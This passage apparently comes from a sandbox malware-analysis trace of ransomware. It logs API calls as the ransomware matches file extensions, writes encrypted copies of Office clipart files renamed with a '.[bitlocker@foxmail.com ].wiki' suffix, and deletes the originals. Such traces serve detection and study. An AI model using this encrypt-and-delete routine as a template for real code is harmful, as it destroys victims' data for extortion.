Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0197.157] lstrlenW (lpString=".1cd") returned 4 [0197.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0197.157] lstrlenW (lpString=".jpg") returned 4 [0197.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0197.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0197.157] lstrlenW (lpString=".doc") returned 4 [0197.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.157] lstrlenW (lpString=".docx") returned 5 [0197.157] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0197.157] lstrlenW (lpString=".pdf") returned 4 [0197.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.157] lstrlenW (lpString=".xls") returned 4 [0197.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.157] lstrlenW (lpString=".xlsx") returned 5 [0197.158] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0197.158] lstrlenW (lpString=".ppt") returned 4 [0197.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0197.158] lstrlenW (lpString=".zip") returned 4 [0197.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.158] lstrlenW (lpString=".rar") returned 4 [0197.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.158] lstrlenW (lpString=".bz2") returned 4 [0197.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.158] lstrlenW (lpString=".7z") returned 3 [0197.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0197.158] lstrlenW (lpString=".dbf") returned 4 [0197.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0197.158] lstrlenW (lpString=".1cd") returned 4 [0197.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0197.158] lstrlenW (lpString=".jpg") returned 4 [0197.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.158] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0197.158] lstrlenW (lpString="J0152610.WMF") returned 12 [0197.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0197.159] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=5960) returned 1 [0197.159] CloseHandle (hObject=0x1d0) returned 1 [0197.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf")) returned 0x20 [0197.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0197.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0197.159] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.159] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0197.160] GetLastError () returned 0x0 [0197.160] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1748, lpOverlapped=0x0) returned 1 [0197.162] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1750, lpOverlapped=0x0) returned 1 [0197.163] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0197.163] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0197.163] SetEndOfFile (hFile=0x1e0) returned 1 [0197.163] CloseHandle (hObject=0x1e0) returned 1 [0197.163] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.163] SetEndOfFile (hFile=0x1d0) returned 1 [0197.164] CloseHandle (hObject=0x1d0) returned 1 [0197.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf")) returned 1 [0197.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0197.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0197.164] lstrlenW (lpString=".doc") returned 4 [0197.164] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.164] lstrlenW (lpString=".docx") returned 5 [0197.164] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0197.164] lstrlenW (lpString=".pdf") returned 4 [0197.164] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.165] lstrlenW (lpString=".xls") returned 4 [0197.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.165] lstrlenW (lpString=".xlsx") returned 5 [0197.165] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0197.165] lstrlenW (lpString=".ppt") returned 4 [0197.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0197.165] lstrlenW (lpString=".zip") returned 4 [0197.165] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.165] lstrlenW (lpString=".rar") returned 4 [0197.165] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.165] lstrlenW (lpString=".bz2") returned 4 [0197.165] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.165] lstrlenW (lpString=".7z") returned 3 [0197.165] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0197.165] lstrlenW (lpString=".dbf") returned 4 [0197.165] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0197.165] lstrlenW (lpString=".1cd") returned 4 [0197.165] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0197.165] lstrlenW (lpString=".jpg") returned 4 [0197.165] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0197.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0197.165] lstrlenW (lpString=".doc") returned 4 [0197.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.165] lstrlenW (lpString=".docx") returned 5 [0197.165] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0197.166] lstrlenW (lpString=".pdf") returned 4 [0197.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.166] lstrlenW (lpString=".xls") returned 4 [0197.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.166] lstrlenW (lpString=".xlsx") returned 5 [0197.166] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0197.166] lstrlenW (lpString=".ppt") returned 4 [0197.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0197.166] lstrlenW (lpString=".zip") returned 4 [0197.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.166] lstrlenW (lpString=".rar") returned 4 [0197.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.166] lstrlenW (lpString=".bz2") returned 4 [0197.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.166] lstrlenW (lpString=".7z") returned 3 [0197.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0197.166] lstrlenW (lpString=".dbf") returned 4 [0197.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0197.166] lstrlenW (lpString=".1cd") returned 4 [0197.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0197.166] lstrlenW (lpString=".jpg") returned 4 [0197.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.167] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0197.167] lstrlenW (lpString="J0152622.WMF") returned 12 [0197.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0197.167] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=9604) returned 1 [0197.167] CloseHandle (hObject=0x1d0) returned 1 [0197.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf")) returned 0x20 [0197.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0197.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0197.167] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.167] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0197.168] GetLastError () returned 0x0 [0197.168] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x2584, lpOverlapped=0x0) returned 1 [0197.170] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x2590, lpOverlapped=0x0) returned 1 [0197.171] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0197.171] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0197.171] SetEndOfFile (hFile=0x1e0) returned 1 [0197.171] CloseHandle (hObject=0x1e0) returned 1 [0197.171] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.171] SetEndOfFile (hFile=0x1d0) returned 1 [0197.172] CloseHandle (hObject=0x1d0) returned 1 [0197.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.172] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf")) returned 1 [0197.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0197.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0197.172] lstrlenW (lpString=".doc") returned 4 [0197.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.172] lstrlenW (lpString=".docx") returned 5 [0197.173] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0197.173] lstrlenW (lpString=".pdf") returned 4 [0197.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.173] lstrlenW (lpString=".xls") returned 4 [0197.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.173] lstrlenW (lpString=".xlsx") returned 5 [0197.173] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0197.173] lstrlenW (lpString=".ppt") returned 4 [0197.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0197.173] lstrlenW (lpString=".zip") returned 4 [0197.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.173] lstrlenW (lpString=".rar") returned 4 [0197.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.173] lstrlenW (lpString=".bz2") returned 4 [0197.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.173] lstrlenW (lpString=".7z") returned 3 [0197.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0197.173] lstrlenW (lpString=".dbf") returned 4 [0197.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0197.173] lstrlenW (lpString=".1cd") returned 4 [0197.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0197.173] lstrlenW (lpString=".jpg") returned 4 [0197.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0197.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0197.174] lstrlenW (lpString=".doc") returned 4 [0197.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.174] lstrlenW (lpString=".docx") returned 5 [0197.174] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0197.174] lstrlenW (lpString=".pdf") returned 4 [0197.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.174] lstrlenW (lpString=".xls") returned 4 [0197.174] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.174] lstrlenW (lpString=".xlsx") returned 5 [0197.174] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0197.174] lstrlenW (lpString=".ppt") returned 4 [0197.174] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0197.174] lstrlenW (lpString=".zip") returned 4 [0197.174] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.174] lstrlenW (lpString=".rar") returned 4 [0197.174] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.174] lstrlenW (lpString=".bz2") returned 4 [0197.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.174] lstrlenW (lpString=".7z") returned 3 [0197.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0197.174] lstrlenW (lpString=".dbf") returned 4 [0197.174] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0197.174] lstrlenW (lpString=".1cd") returned 4 [0197.174] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0197.174] lstrlenW (lpString=".jpg") returned 4 [0197.174] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.175] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0197.175] lstrlenW (lpString="J0152626.WMF") returned 12 [0197.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0197.175] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=26248) returned 1 [0197.175] CloseHandle (hObject=0x1d0) returned 1 [0197.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf")) returned 0x20 [0197.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0197.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0197.175] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.176] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0197.176] GetLastError () returned 0x0 [0197.176] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x6688, lpOverlapped=0x0) returned 1 [0197.178] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x6690, lpOverlapped=0x0) returned 1 [0197.180] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0197.180] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0197.180] SetEndOfFile (hFile=0x1e0) returned 1 [0197.180] CloseHandle (hObject=0x1e0) returned 1 [0197.180] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.180] SetEndOfFile (hFile=0x1d0) returned 1 [0197.181] CloseHandle (hObject=0x1d0) returned 1 [0197.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf")) returned 1 [0197.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0197.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0197.181] lstrlenW (lpString=".doc") returned 4 [0197.181] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.182] lstrlenW (lpString=".docx") returned 5 [0197.182] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0197.182] lstrlenW (lpString=".pdf") returned 4 [0197.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.182] lstrlenW (lpString=".xls") returned 4 [0197.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.182] lstrlenW (lpString=".xlsx") returned 5 [0197.182] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0197.182] lstrlenW (lpString=".ppt") returned 4 [0197.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0197.182] lstrlenW (lpString=".zip") returned 4 [0197.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.182] lstrlenW (lpString=".rar") returned 4 [0197.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.182] lstrlenW (lpString=".bz2") returned 4 [0197.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.182] lstrlenW (lpString=".7z") returned 3 [0197.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0197.182] lstrlenW (lpString=".dbf") returned 4 [0197.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0197.182] lstrlenW (lpString=".1cd") returned 4 [0197.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0197.182] lstrlenW (lpString=".jpg") returned 4 [0197.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0197.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0197.183] lstrlenW (lpString=".doc") returned 4 [0197.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.183] 